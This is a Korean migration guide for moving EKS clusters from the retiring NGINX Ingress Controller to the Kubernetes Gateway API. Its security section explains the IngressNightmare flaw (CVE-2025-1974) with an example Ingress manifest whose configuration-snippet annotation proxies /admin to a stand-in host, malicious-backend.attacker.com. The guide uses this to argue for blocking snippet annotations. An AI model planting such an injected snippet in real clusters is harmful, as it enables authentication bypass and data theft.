Gateway API 도입 가이드
📌 기준 버전: Gateway API v1.4.0, Cilium v1.19.0, EKS 1.32, AWS LBC v3.0.0, Envoy Gateway v1.7.0
📅 작성일: 2025-02-12 | 수정일: 2026-02-14 | ⏱️ 읽는 시간: 약 13분
1. 개요
2026년 3월 NGINX Ingress Controller의 공식 EOL(End-of-Life)을 앞두고, Kubernetes Gateway API로의 전환이 선택이 아닌 필수가 되었습니다. 이 가이드는 Gateway API의 아키텍처 이해부터 5개 주요 구현체(AWS LBC v3, Cilium, NGINX Gateway Fabric, Envoy Gateway, kGateway) 비교, Cilium ENI 모드 심화 구성, 단계별 마이그레이션 실행 전략, 성능 벤치마크 계획까지 포괄합니다.
1.1 이 문서의 대상
- NGINX Ingress Controller를 운영 중인 EKS 클러스터 관리자: EOL 대응 전략 수립
- Gateway API 마이그레이션을 계획 중인 플랫폼 엔지니어: 기술 선정 및 PoC 수행
- 트래픽 관리 아키텍처 현대화를 검토 중인 아키텍트: 장기 로드맵 설계
- Cilium ENI 모드와 Gateway API 통합을 고려하는 네트워크 엔지니어: eBPF 기반 고성능 네트워킹
1.2 문서 구성
- 빠른 이해: 섹션 1-3, 6 (약 10분)
- 기술 선정: 섹션 1-4, 6 (약 20분)
- 전체 마이그레이션: 전체 문서 + 하위 문서 (약 25분)
2. NGINX Ingress Controller Retirement — 왜 전환이 필수인가
2.1 EOL 타임라인
주요 이 벤트 상세:
- 2025년 3월: IngressNightmare (CVE-2025-1974) 발견 — Snippets 어노테이션을 통한 임의 NGINX 설정 주입 취약점으로 Kubernetes SIG Network의 retirement 논의가 가속화됨
- 2025년 11월: Kubernetes SIG Network에서 NGINX Ingress Controller의 공식 retirement 발표. 유지보수 인력 부족(1-2명의 메인테이너)과 Gateway API 성숙도를 주요 이유로 명시
- 2026년 3월: 공식 EOL — 보안 패치 및 버그 수정 완전 중단. 이후 운영 환경 사용 시 컴플라이언스 위반 가능성
2026년 3월 이후 NGINX Ingress Controller 사용 시 보안 취약점 패치가 제공되지 않습니다. PCI-DSS, SOC 2, ISO 27001 등 보안 인증 유지를 위해서는 반드시 Gateway API 기반 솔루션으로 전환해야 합니다.
2.2 보안 취약점 분석
IngressNightmare (CVE-2025-1974) 공격 시나리오:
- 공격 개요
- 컨트롤러 아키텍처
- 공격 코드 예시

Kubernetes 클러스터 내 Ingress NGINX Controller를 대상으로 한 비인증 원격 코드 실행(RCE) 공격 벡터. 외부 및 내부 공격자가 Malicious Admission Review를 통해 컨트롤러 Pod를 장악하고, 클러스터 내 전체 Pod에 접근 가능. (Source: Wiz Research)

Ingress NGINX Controller Pod 내부 아키텍처. Admission Webhook이 설정 검증 과정에서 공격자의 악성 설정을 NGINX에 주입하는 경로가 CVE-2025-1974의 핵심 공격 표면. (Source: Wiz Research)
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-ingress
annotations:
# 공격자가 임의의 NGINX 설정을 주입
nginx.ingress.kubernetes.io/configuration-snippet: |
location /admin {
proxy_pass http://malicious-backend.attacker.com;
# 인증 우회, 데이터 탈취, 백도어 설치 가능
}
spec:
ingressClassName: nginx
rules:
- host: production-api.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: production-service
port:
number: 80
위험도 평가:
기존 NGINX Ingress 환경에서는 nginx.ingress.kubernetes.io/configuration-snippet 및 nginx.ingress.kubernetes.io/server-snippet 어노테이션 사용을 즉시 금지하는 admission controller 정책 적용을 권장합니다.